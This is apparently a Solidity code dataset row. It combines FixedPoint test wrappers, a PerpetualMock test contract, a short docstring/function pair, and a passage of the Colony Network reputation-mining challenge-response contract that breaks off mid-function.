function wrapDivCeil(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).divCeil(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedDiv(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).div(b).rawValue;
}
function wrapMixedDivCeil(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).divCeil(b).rawValue;
}
// The second uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedDivOpposite(uint256 a, uint256 b) external pure returns (uint256) {
return a.div(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapPow(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).pow(b).rawValue;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/FixedPoint.sol";
// Wraps the FixedPoint library for testing purposes.
contract SignedFixedPointTest {
using FixedPoint for FixedPoint.Signed;
using FixedPoint for int256;
using SafeMath for int256;
function wrapFromSigned(int256 a) external pure returns (uint256) {
return FixedPoint.fromSigned(FixedPoint.Signed(a)).rawValue;
}
function wrapFromUnsigned(uint256 a) external pure returns (int256) {
return FixedPoint.fromUnsigned(FixedPoint.Unsigned(a)).rawValue;
}
function wrapFromUnscaledInt(int256 a) external pure returns (int256) {
return FixedPoint.fromUnscaledInt(a).rawValue;
}
function wrapIsEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isEqual(FixedPoint.Signed(b));
}
function wrapMixedIsEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isEqual(b);
}
function wrapIsGreaterThan(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isGreaterThan(FixedPoint.Signed(b));
}
function wrapIsGreaterThanOrEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isGreaterThanOrEqual(FixedPoint.Signed(b));
}
function wrapMixedIsGreaterThan(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isGreaterThan(b);
}
function wrapMixedIsGreaterThanOrEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isGreaterThanOrEqual(b);
}
function wrapMixedIsGreaterThanOpposite(int256 a, int256 b) external pure returns (bool) {
return a.isGreaterThan(FixedPoint.Signed(b));
}
function wrapMixedIsGreaterThanOrEqualOpposite(int256 a, int256 b) external pure returns (bool) {
return a.isGreaterThanOrEqual(FixedPoint.Signed(b));
}
function wrapIsLessThan(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isLessThan(FixedPoint.Signed(b));
}
function wrapIsLessThanOrEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isLessThanOrEqual(FixedPoint.Signed(b));
}
function wrapMixedIsLessThan(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isLessThan(b);
}
function wrapMixedIsLessThanOrEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isLessThanOrEqual(b);
}
function wrapMixedIsLessThanOpposite(int256 a, int256 b) external pure returns (bool) {
return a.isLessThan(FixedPoint.Signed(b));
}
function wrapMixedIsLessThanOrEqualOpposite(int256 a, int256 b) external pure returns (bool) {
return a.isLessThanOrEqual(FixedPoint.Signed(b));
}
function wrapMin(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).min(FixedPoint.Signed(b)).rawValue;
}
function wrapMax(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).max(FixedPoint.Signed(b)).rawValue;
}
function wrapAdd(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).add(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedAdd(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).add(b).rawValue;
}
function wrapSub(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).sub(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedSub(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).sub(b).rawValue;
}
// The second int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedSubOpposite(int256 a, int256 b) external pure returns (int256) {
return a.sub(FixedPoint.Signed(b)).rawValue;
}
function wrapMul(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).mul(FixedPoint.Signed(b)).rawValue;
}
function wrapMulAwayFromZero(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).mulAwayFromZero(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedMul(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).mul(b).rawValue;
}
function wrapMixedMulAwayFromZero(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).mulAwayFromZero(b).rawValue;
}
function wrapDiv(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).div(FixedPoint.Signed(b)).rawValue;
}
function wrapDivAwayFromZero(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).divAwayFromZero(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedDiv(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).div(b).rawValue;
}
function wrapMixedDivAwayFromZero(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).divAwayFromZero(b).rawValue;
}
// The second int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedDivOpposite(int256 a, int256 b) external pure returns (int256) {
return a.div(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapPow(int256 a, uint256 b) external pure returns (int256) {
return FixedPoint.Signed(a).pow(b).rawValue;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Simple Perpetual Mock to serve trivial functions
*/
contract PerpetualMock {
struct FundingRate {
FixedPoint.Signed rate;
bytes32 identifier;
FixedPoint.Unsigned cumulativeMultiplier;
uint256 updateTime;
uint256 applicationTime;
uint256 proposalTime;
}
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for FixedPoint.Signed;
FundingRate public fundingRate;
// Interface functions required to be implemented in order for an instance of this contract to be passed into the
// off-chain FinancialContractClient helper module:
FixedPoint.Unsigned public collateralRequirement;
uint256 public liquidationLiveness;
FixedPoint.Unsigned public cumulativeFeeMultiplier;
mapping(address => uint256) public positions;
mapping(address => uint256) public liquidations;
event NewSponsor(address indexed sponsor);
event EndedSponsorPosition();
event LiquidationCreated();
function getCurrentTime() public view returns (uint256) {
return now;
}
// Public methods that are useful for tests:
function setFundingRate(FundingRate memory _fundingRate) external {
fundingRate = _fundingRate;
}
function applyFundingRate() external {
fundingRate.applicationTime = block.timestamp;
// Simplified rate calcualtion.
// multiplier = multiplier * (1 + rate)
fundingRate.cumulativeMultiplier = fundingRate.cumulativeMultiplier.mul(
FixedPoint.fromSigned(FixedPoint.fromUnscaledInt(1).add(fundingRate.rate))
);
}
}
|
Returns the transformed identifier associated with a given financial product address. financialProduct address of the financial product. return transformed identifier for the associated financial product./
|
function getTransformedIdentifierForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (bytes32)
{
return financialProductTransformedIdentifiers[financialProduct];
}
| 99,939 |
/*
This file is part of The Colony Network.
The Colony Network is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
The Colony Network is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with The Colony Network. If not, see <http://www.gnu.org/licenses/>.
*/
pragma solidity 0.5.8;
pragma experimental "ABIEncoderV2";
import "../lib/dappsys/math.sol";
import "./IColonyNetwork.sol";
import "./PatriciaTree/PatriciaTreeProofs.sol";
import "./ITokenLocking.sol";
import "./ReputationMiningCycleStorage.sol";
import {Bits} from "./PatriciaTree/Bits.sol";
// TODO (post CCv1, possibly never): Can we handle all possible disputes regarding the very first hash that should be set?
// Currently, at the very least, we can't handle a dispute if the very first entry is disputed.
// A possible workaround would be to 'kick off' reputation mining with a known dummy state...
// Given the approach we a taking for launch, we are able to guarantee that we are the only reputation miner for 100+ of the first cycles, even if we decided to lengthen a cycle length. As a result, maybe we just don't care about this special case?
contract ReputationMiningCycleRespond is ReputationMiningCycleStorage, PatriciaTreeProofs, DSMath {
/// @notice A modifier that checks if the challenge corresponding to the hash in the passed `round` and `id` is open
/// @param round The round number of the hash under consideration
/// @param idx The index in the round of the hash under consideration
modifier challengeOpen(uint256 round, uint256 idx) {
// Check the binary search has finished, but not necessarily confirmed
require(idx < disputeRounds[round].length, "colony-reputation-mining-index-beyond-round-length");
require(disputeRounds[round][idx].lowerBound == disputeRounds[round][idx].upperBound, "colony-reputation-binary-search-incomplete");
// Check the binary search result has been confirmed
Submission storage submission = reputationHashSubmissions[disputeRounds[round][idx].firstSubmitter];
require(
2**(disputeRounds[round][idx].challengeStepCompleted-2)>submission.jrhNNodes,
"colony-reputation-mining-binary-search-result-not-confirmed"
);
// Check that we have not already responded to the challenge
require(
2**(disputeRounds[round][idx].challengeStepCompleted-3)<=submission.jrhNNodes,
"colony-reputation-mining-challenge-already-responded"
);
_;
}
uint constant U_ROUND = 0;
uint constant U_IDX = 1;
uint constant U_REPUTATION_BRANCH_MASK = 2;
uint constant U_AGREE_STATE_NNODES = 3;
uint constant U_AGREE_STATE_BRANCH_MASK = 4;
uint constant U_DISAGREE_STATE_NNODES = 5;
uint constant U_DISAGREE_STATE_BRANCH_MASK = 6;
uint constant U_PREVIOUS_NEW_REPUTATION_BRANCH_MASK = 7;
uint constant U_LOG_ENTRY_NUMBER = 8;
uint constant U_DECAY_TRANSITION = 9;
uint constant U_USER_ORIGIN_SKILL_REPUTATION_BRANCH_MASK = 10;
uint constant U_AGREE_STATE_REPUTATION_VALUE = 11;
uint constant U_AGREE_STATE_REPUTATION_UID = 12;
uint constant U_DISAGREE_STATE_REPUTATION_VALUE = 13;
uint constant U_DISAGREE_STATE_REPUTATION_UID= 14;
uint constant U_PREVIOUS_NEW_REPUTATION_VALUE = 15;
uint constant U_PREVIOUS_NEW_REPUTATION_UID = 16;
uint constant U_USER_ORIGIN_REPUTATION_VALUE = 17;
uint constant U_USER_ORIGIN_REPUTATION_UID = 18;
uint constant U_CHILD_REPUTATION_BRANCH_MASK = 19;
uint constant U_CHILD_REPUTATION_VALUE = 20;
uint constant U_CHILD_REPUTATION_UID = 21;
uint constant U_GLOBAL_CHILD_UPDATE = 22;
uint constant U_ADJACENT_REPUTATION_BRANCH_MASK = 23;
uint constant U_ADJACENT_REPUTATION_VALUE = 24;
uint constant U_ADJACENT_REPUTATION_UID = 25;
uint constant U_NEW_REPUTATION = 26;
uint constant U_USER_ORIGIN_ADJACENT_REPUTATION_VALUE = 27;
uint constant U_CHILD_ADJACENT_REPUTATION_VALUE = 28;
uint constant B_REPUTATION_KEY_COLONY = 0;
uint constant B_REPUTATION_KEY_SKILLID = 1;
uint constant B_REPUTATION_KEY_USER = 2;
uint constant B_REPUTATION_KEY_HASH = 3;
uint constant B_PREVIOUS_NEW_REPUTATION_KEY_HASH = 4;
uint constant B_ADJACENT_REPUTATION_KEY_HASH = 5;
uint constant B_ORIGIN_ADJACENT_REPUTATION_KEY_HASH = 6;
uint constant B_CHILD_ADJACENT_REPUTATION_KEY_HASH = 7;
uint constant DECAY_NUMERATOR = 992327946262944; // 24-hr mining cycles
uint constant DECAY_DENOMINATOR = 1000000000000000;
function getDecayConstant() public pure returns (uint256, uint256) {
return (DECAY_NUMERATOR, DECAY_DENOMINATOR);
}
function respondToChallenge(
uint256[29] memory u, //An array of 29 UINT Params, ordered as given above.
bytes32[8] memory b32, // An array of 8 bytes32 params, ordered as given above
bytes32[] memory reputationSiblings,
bytes32[] memory agreeStateSiblings,
bytes32[] memory disagreeStateSiblings,
bytes32[] memory previousNewReputationSiblings,
bytes32[] memory userOriginReputationSiblings,
bytes32[] memory childReputationSiblings,
bytes32[] memory adjacentReputationSiblings
) public
challengeOpen(u[U_ROUND], u[U_IDX])
{
u[U_DECAY_TRANSITION] = 0;
u[U_GLOBAL_CHILD_UPDATE] = 0;
u[U_NEW_REPUTATION] = 0;
// Require disagree state nnodes - agree state nnodes is either 0 or 1. Its a uint, so we can simplify this to < 2.
require(u[U_DISAGREE_STATE_NNODES] - u[U_AGREE_STATE_NNODES] < 2, "colony-network-mining-more-than-one-node-added");
// TODO: More checks that this is an appropriate time to respondToChallenge (maybe in modifier);
/* bytes32 jrh = disputeRounds[round][idx].jrh; */
// The contract knows
// 1. the jrh for this submission
// 2. The first index where this submission and its opponent differ.
// Need to prove
// 1. The reputation that is updated that we disagree on's value, before the first index
// where we differ, and in the first index where we differ.
// 2. That no other changes are made to the reputation state. The proof for those
// two reputations in (1) is therefore required to be the same.
// 3. That our 'after' value is correct. This is done by doing the calculation on-chain, perhaps
// after looking up the corresponding entry in the reputation update log (the alternative is
// that it's a decay calculation - not yet implemented.)
// Check the supplied key is appropriate.
checkKey(u, b32);
// Prove the reputation's starting value is in some state, and that state is in the appropriate index in our JRH
proveBeforeReputationValue(u, b32, reputationSiblings, agreeStateSiblings);
// Prove the reputation's final value is in a particular state, and that state is in our JRH in the appropriate index (corresponding to the first disagreement between these miners)
// By using the same branchMask and siblings, we know that no other changes to the reputation state tree have been slipped in.
proveAfterReputationValue(u, b32, reputationSiblings, disagreeStateSiblings);
// Perform the reputation calculation ourselves.
performReputationCalculation(u);
if (u[U_DECAY_TRANSITION] == 0) {
checkUserOriginReputation(u, b32, agreeStateSiblings, userOriginReputationSiblings);
}
if (u[U_GLOBAL_CHILD_UPDATE] == 1) {
checkChildReputation(u, b32, agreeStateSiblings, childReputationSiblings);
}
if (u[U_NEW_REPUTATION] == 1) {
checkAdjacentReputation(u, b32, adjacentReputationSiblings, agreeStateSiblings, disagreeStateSiblings);
}
// If necessary, check the supplied previousNewRepuation is, in fact, in the same reputation state as the 'agree' state.
// i.e. the reputation they supplied is in the 'agree' state.
checkPreviousReputationInState(
u,
b32,
agreeStateSiblings,
previousNewReputationSiblings);
// Save the index for tiebreak scenarios later.
saveProvedReputation(u);
confirmChallengeCompleted(u);
// Safety net?
/* if (disputeRounds[round][idx].challengeStepCompleted==disputeRounds[round][opponentIdx].challengeStepCompleted){
// Freeze the reputation mining system.
} */
}
/////////////////////////
// Internal functions
/////////////////////////
function checkAdjacentReputation(
uint256[29] memory u,
bytes32[8] memory b32,
bytes32[] memory adjacentReputationSiblings,
bytes32[] memory agreeStateSiblings,
bytes32[] memory disagreeStateSiblings
) internal view
{
DisputedEntry storage disputedEntry = disputeRounds[u[U_ROUND]][u[U_IDX]];
// Check this proof is valid for the agree state
// We binary searched to the first disagreement, so the last agreement is the one before
bytes memory adjacentReputationValue = abi.encodePacked(u[U_ADJACENT_REPUTATION_VALUE], u[U_ADJACENT_REPUTATION_UID]);
bytes32 reputationRootHash = getImpliedRootNoHashKey(
b32[B_ADJACENT_REPUTATION_KEY_HASH],
adjacentReputationValue,
u[U_ADJACENT_REPUTATION_BRANCH_MASK],
adjacentReputationSiblings
);
bytes memory jhLeafValue = abi.encodePacked(uint256(reputationRootHash), u[U_AGREE_STATE_NNODES]);
// Prove that state is in our JRH, in the index corresponding to the last state that the two submissions agree on
bytes32 impliedRoot = getImpliedRootNoHashKey(
bytes32(disputedEntry.lowerBound - 1),
jhLeafValue,
u[U_AGREE_STATE_BRANCH_MASK],
agreeStateSiblings);
require(
impliedRoot == reputationHashSubmissions[disputedEntry.firstSubmitter].jrh,
"colony-reputation-mining-adjacent-agree-state-disagreement");
// The bit added to the branchmask is based on where the (hashes of the) two keys first differ.
uint256 firstDifferenceBit = uint256(
Bits.highestBitSet(uint256(b32[B_ADJACENT_REPUTATION_KEY_HASH] ^ b32[B_REPUTATION_KEY_HASH]))
);
uint256 afterInsertionBranchMask = u[U_ADJACENT_REPUTATION_BRANCH_MASK] | uint256(2**firstDifferenceBit);
// If a key that exists in the lastAgreeState has been passed in as the reputationKey, the adjacent key will already have a branch at the
// first difference bit, and this check will fail.
require(afterInsertionBranchMask != u[U_ADJACENT_REPUTATION_BRANCH_MASK], "colony-reputation-mining-adjacent-branchmask-incorrect");
bytes32[] memory afterInsertionAdjacentReputationSiblings = new bytes32[](adjacentReputationSiblings.length + 1);
afterInsertionAdjacentReputationSiblings = buildNewSiblingsArray(u, b32, firstDifferenceBit, adjacentReputationSiblings);
reputationRootHash = getImpliedRootNoHashKey(
b32[B_ADJACENT_REPUTATION_KEY_HASH],
adjacentReputationValue,
afterInsertionBranchMask,
afterInsertionAdjacentReputationSiblings
);
jhLeafValue = abi.encodePacked(uint256(reputationRootHash), u[U_DISAGREE_STATE_NNODES]);
// Prove that state is in our JRH, in the index corresponding to the first state that the two submissions disagree on
impliedRoot = getImpliedRootNoHashKey(
bytes32(disputedEntry.lowerBound),
jhLeafValue,
u[U_DISAGREE_STATE_BRANCH_MASK],
disagreeStateSiblings);
require(
impliedRoot == reputationHashSubmissions[disputedEntry.firstSubmitter].jrh,
"colony-reputation-mining-adjacent-disagree-state-disagreement");
}
function buildNewSiblingsArray(
uint256[29] memory u,
bytes32[8] memory b32,
uint256 firstDifferenceBit,
bytes32[] memory adjacentReputationSiblings
) internal pure returns (bytes32[] memory)
{
bytes32 newSibling = keccak256(
abi.encodePacked(
keccak256(
abi.encodePacked(
u[U_DISAGREE_STATE_REPUTATION_VALUE],
u[U_DISAGREE_STATE_REPUTATION_UID]
)
),
firstDifferenceBit,
b32[B_REPUTATION_KEY_HASH] << (256 - firstDifferenceBit)
)
);
// Copy in to afterInsertionAdjacentReputationSiblings, inserting the new sibling.
// Where do we insert it? Depends how many branches there are before the new bit we just inserted
uint insert = 0;
uint i = 2**255;
// This can be > or >= because the adjacent reputation branchmask will be a 0 in the
// bit where the two keys first differ.
while (i > 2**firstDifferenceBit) {
if (i & u[U_ADJACENT_REPUTATION_BRANCH_MASK] == i) {
insert += 1;
}
i >>= 1;
}
bytes32[] memory afterInsertionAdjacentReputationSiblings = new bytes32[](adjacentReputationSiblings.length + 1);
// Now actually build the new siblings array
i = 0;
while (i < afterInsertionAdjacentReputationSiblings.length) {
if (i < insert) {
afterInsertionAdjacentReputationSiblings[i] = adjacentReputationSiblings[i];
} else if (i == insert) {
afterInsertionAdjacentReputationSiblings[i] = newSibling;
} else {
afterInsertionAdjacentReputationSiblings[i] = adjacentReputationSiblings[i-1];
}
i += 1;
}
return afterInsertionAdjacentReputationSiblings;
}
function checkUserOriginReputation(
uint256[29] memory u,
bytes32[8] memory b32,
bytes32[] memory agreeStateSiblings,
bytes32[] memory userOriginReputationSiblings) internal view
{
ReputationLogEntry storage logEntry = reputationUpdateLog[u[U_LOG_ENTRY_NUMBER]];
if (logEntry.amount >= 0) {
return;
}
// Check the user origin reputation key matches the colony, user address and skill id of the log
bytes32 userOriginReputationKeyBytesHash = keccak256(abi.encodePacked(logEntry.colony, logEntry.skillId, logEntry.user));
checkUserOriginReputationInState(
u,
b32,
agreeStateSiblings,
userOriginReputationKeyBytesHash,
userOriginReputationSiblings);
}
function checkChildReputation(
uint256[29] memory u,
bytes32[8] memory b32,
bytes32[] memory agreeStateSiblings,
bytes32[] memory childReputationSiblings) internal view
{
// If we think we need to check the child reputation because of the update number, but the origin reputation value is
// zero, we don't need check the child reputation because it isn't actually used in the calculation.
if (u[U_USER_ORIGIN_REPUTATION_VALUE] == 0) {return;}
// This function is only called if the dispute is over a child reputation update of a colony-wide reputation total
ReputationLogEntry storage logEntry = reputationUpdateLog[u[U_LOG_ENTRY_NUMBER]];
uint256 relativeUpdateNumber = getRelativeUpdateNumber(u, logEntry);
uint256 expectedSkillId = IColonyNetwork(colonyNetworkAddress).getChildSkillId(logEntry.skillId, relativeUpdateNumber);
bytes memory childReputationKey = abi.encodePacked(logEntry.colony, expectedSkillId, logEntry.user);
checkChildReputationInState(
u,
agreeStateSiblings,
childReputationKey,
childReputationSiblings,
b32[B_CHILD_ADJACENT_REPUTATION_KEY_HASH]);
}
function confirmChallengeCompleted(uint256[29] memory u) internal {
// If everthing checked out, note that we've responded to the challenge.
disputeRounds[u[U_ROUND]][u[U_IDX]].challengeStepCompleted += 1;
disputeRounds[u[U_ROUND]][u[U_IDX]].lastResponseTimestamp = now;
Submission storage submission = reputationHashSubmissions[disputeRounds[u[U_ROUND]][u[U_IDX]].firstSubmitter];
emit ChallengeCompleted(submission.proposedNewRootHash, submission.nNodes, submission.jrh);
}
function checkKey(uint256[29] memory u, bytes32[8] memory b32) internal view {
// If the state transition we're checking is less than the number of nodes in the currently accepted state, it's a decay transition
// Otherwise, look up the corresponding entry in the reputation log.
uint256 updateNumber = disputeRounds[u[U_ROUND]][u[U_IDX]].lowerBound - 1;
if (updateNumber < IColonyNetwork(colonyNetworkAddress).getReputationRootHashNNodes()) {
checkKeyDecay(u, updateNumber);
u[U_DECAY_TRANSITION] = 1;
} else {
checkKeyLogEntry(u, b32);
}
}
function checkKeyDecay(uint256[29] memory u, uint256 _updateNumber) internal pure {
// We check that the reputation UID is right for the decay transition being disputed.
// The key is then implicitly checked when they prove that the key+value they supplied is in the
// right intermediate state in their justification tree.
require(u[U_AGREE_STATE_REPUTATION_UID]-1 == _updateNumber, "colony-reputation-mining-uid-not-decay");
}
function checkKeyLogEntry(uint256[29] memory u, bytes32[8] memory b32) internal view {
ReputationLogEntry storage logEntry = reputationUpdateLog[u[U_LOG_ENTRY_NUMBER]];
uint256 expectedSkillId;
address expectedAddress;
(expectedSkillId, expectedAddress) = getExpectedSkillIdAndAddress(u, logEntry);
require(expectedAddress == address(uint256(b32[B_REPUTATION_KEY_USER])), "colony-reputation-mining-user-address-mismatch");
require(logEntry.colony == address(uint256(b32[B_REPUTATION_KEY_COLONY])), "colony-reputation-mining-colony-address-mismatch");
require(expectedSkillId == uint256(b32[B_REPUTATION_KEY_SKILLID]), "colony-reputation-mining-skill-id-mismatch");
require(
keccak256(
buildReputationKey(b32[B_REPUTATION_KEY_COLONY], b32[B_REPUTATION_KEY_SKILLID], b32[B_REPUTATION_KEY_USER])
) == b32[B_REPUTATION_KEY_HASH],
"colony-reputation-mining-reputation-key-and-hash-mismatch"
);
}
function getExpectedSkillIdAndAddress(uint256[29] memory u, ReputationLogEntry storage logEntry) internal view
returns (uint256 expectedSkillId, address expectedAddress)
{
uint256 relativeUpdateNumber = getRelativeUpdateNumber(u, logEntry);
uint256 nChildUpdates;
uint256 nParentUpdates;
(nChildUpdates, nParentUpdates) = getChildAndParentNUpdatesForLogEntry(u);
// Work out the expected userAddress and skillId for this updateNumber in this logEntry.
if (relativeUpdateNumber < logEntry.nUpdates / 2) {
// Then we're updating a colony-wide total, so we expect an address of 0x0
expectedAddress = address(0x0);
} else {
// We're updating a user-specific total
expectedAddress = logEntry.user;
}
// Expected skill Id
// We update skills in the order children, then parents, then the skill listed in the log itself.
// If the amount in the log is positive, then no children are being updated.
uint256 _relativeUpdateNumber = relativeUpdateNumber % (logEntry.nUpdates/2);
if (_relativeUpdateNumber < nChildUpdates) {
expectedSkillId = IColonyNetwork(colonyNetworkAddress).getChildSkillId(logEntry.skillId, _relativeUpdateNumber);
} else if (_relativeUpdateNumber < (nChildUpdates+nParentUpdates)) {
expectedSkillId = IColonyNetwork(colonyNetworkAddress).getParentSkillId(logEntry.skillId, _relativeUpdateNumber - nChildUpdates);
} else {
expectedSkillId = logEntry.skillId;
}
}
function proveBeforeReputationValue(
uint256[29] memory u,
bytes32[8] memory b32,
bytes32[] memory reputationSiblings,
bytes32[] memory agreeStateSiblings
) internal view
{
if (u[U_DISAGREE_STATE_NNODES] - u[U_AGREE_STATE_NNODES] == 1) {
// This implies they are claiming that this is a new hash.
// Flag we need to check the adjacent hash
u[U_NEW_REPUTATION] = 1;
return;
}
// Otherwise, it's an existing hash and we've just changed its value.
// We binary searched to the first disagreement, so the last agreement is the one before.
uint256 lastAgreeIdx = disputeRounds[u[U_ROUND]][u[U_IDX]].lowerBound - 1;
bytes memory agreeStateReputationValue = abi.encodePacked(u[U_AGREE_STATE_REPUTATION_VALUE], u[U_AGREE_STATE_REPUTATION_UID]);
bytes32 reputationRootHash = getImpliedRootNoHashKey(
b32[B_REPUTATION_KEY_HASH],
agreeStateReputationValue,
u[U_REPUTATION_BRANCH_MASK],
reputationSiblings);
bytes memory jhLeafValue = abi.encodePacked(uint256(reputationRootHash), u[U_AGREE_STATE_NNODES]);
// Prove that state is in our JRH, in the index corresponding to the last state that the two submissions agree on.
bytes32 impliedRoot = getImpliedRootNoHashKey(bytes32(lastAgreeIdx), jhLeafValue, u[U_AGREE_STATE_BRANCH_MASK], agreeStateSiblings);
Submission storage submission = reputationHashSubmissions[disputeRounds[u[U_ROUND]][u[U_IDX]].firstSubmitter];
require(impliedRoot == submission.jrh, "colony-reputation-mining-invalid-before-reputation-proof");
// Check that they have not changed nNodes from the agree state
// There is a check at the very start of RespondToChallenge that this difference is either 0 or 1.
// There is an 'if' statement above that returns if this difference is 1.
// Therefore the difference is 0, and this should always be true.
assert(u[U_DISAGREE_STATE_NNODES] == u[U_AGREE_STATE_NNODES]);
// They've actually verified whatever they claimed.
// In the event that our opponent lied about this reputation not existing yet in the tree, they will fail on checkAdjacentReputation,
// as the branchmask generated will indicate that the node already exists
}
function proveAfterReputationValue(
uint256[29] memory u,
bytes32[8] memory b32,
bytes32[] memory reputationSiblings,
bytes32[] memory disagreeStateSiblings
) internal view
{
Submission storage submission = reputationHashSubmissions[disputeRounds[u[U_ROUND]][u[U_IDX]].firstSubmitter];
uint256 firstDisagreeIdx = disputeRounds[u[U_ROUND]][u[U_IDX]].lowerBound;
bytes memory disagreeStateReputationValue = abi.encodePacked(u[U_DISAGREE_STATE_REPUTATION_VALUE], u[U_DISAGREE_STATE_REPUTATION_UID]);
bytes32 reputationRootHash = getImpliedRootNoHashKey(
b32[B_REPUTATION_KEY_HASH],
disagreeStateReputationValue,
u[U_REPUTATION_BRANCH_MASK],
reputationSiblings
);
// Prove that state is in our JRH, in the index corresponding to the last state that the two submissions agree on.
bytes memory jhLeafValue = abi.encodePacked(uint256(reputationRootHash), u[U_DISAGREE_STATE_NNODES]);
bytes32 impliedRoot = getImpliedRootNoHashKey(
bytes32(firstDisagreeIdx),
jhLeafValue,
u[U_DISAGREE_STATE_BRANCH_MASK],
disagreeStateSiblings
);
require(submission.jrh==impliedRoot, "colony-reputation-mining-invalid-after-reputation-proof");
}
function performReputationCalculation(
uint256[29] memory u
) internal
{
proveUID(
u,
u[U_AGREE_STATE_REPUTATION_UID],
u[U_DISAGREE_STATE_REPUTATION_UID]);
proveValue(
u,
int256(u[U_AGREE_STATE_REPUTATION_VALUE]),
int256(u[U_DISAGREE_STATE_REPUTATION_VALUE]));
}
function proveUID(
uint256[29] memory u,
uint256 _agreeStateReputationUID,
uint256 _disagreeStateReputationUID
) internal
{
if (_agreeStateReputationUID != 0) {
// i.e. if this was an existing reputation, then require that the ID hasn't changed.
require(_agreeStateReputationUID == _disagreeStateReputationUID, "colony-reputation-mining-uid-changed-for-existing-reputation");
emit ProveUIDSuccess(_agreeStateReputationUID, _disagreeStateReputationUID, true);
} else {
require(u[U_PREVIOUS_NEW_REPUTATION_UID] + 1 == _disagreeStateReputationUID, "colony-reputation-mining-new-uid-incorrect");
emit ProveUIDSuccess(u[U_PREVIOUS_NEW_REPUTATION_UID], _disagreeStateReputationUID, false);
}
}
function proveValue(
uint256[29] memory u,
int256 _agreeStateReputationValue,
int256 _disagreeStateReputationValue
) internal
{
ReputationLogEntry storage logEntry = reputationUpdateLog[u[U_LOG_ENTRY_NUMBER]];
int256 userOriginReputationValue = int256(u[U_USER_ORIGIN_REPUTATION_VALUE]);
// We don't care about underflows for the purposes of comparison, but for the calculation we deem 'correct'.
// i.e. a reputation can't be negative.
if (u[U_DECAY_TRANSITION] == 1) {
require(uint256(_disagreeStateReputationValue) == (uint256(_agreeStateReputationValue)*DECAY_NUMERATOR)/DECAY_DENOMINATOR, "colony-reputation-mining-decay-incorrect");
} else {
if (logEntry.amount >= 0) {
// Don't allow reputation to overflow
if (_agreeStateReputationValue + logEntry.amount >= MAX_INT128) {
require(_disagreeStateReputationValue == MAX_INT128, "colony-reputation-mining-reputation-not-max-int128");
} else {
require(_agreeStateReputationValue + logEntry.amount == _disagreeStateReputationValue, "colony-reputation-mining-increased-reputation-value-incorrect");
}
} else {
// We are working with a negative amount, which needs to be treated differently for child updates and everything else
// Child reputations do not lose the whole of logEntry.amount, but the same fraction logEntry amount is
// of the user's reputation in skill given by logEntry.skillId, i.e. the "origin skill"
// Check if we are working with a child reputation update
uint256 relativeUpdateNumber = getRelativeUpdateNumber(u, logEntry);
uint256 nChildUpdates;
(nChildUpdates, ) = getChildAndParentNUpdatesForLogEntry(u);
int256 reputationChange;
// Skip origin reputation checks for anything but child reputation updates
if (relativeUpdateNumber % (logEntry.nUpdates/2) < nChildUpdates) {
int256 userChildReputationValue;
if (relativeUpdateNumber < nChildUpdates) {
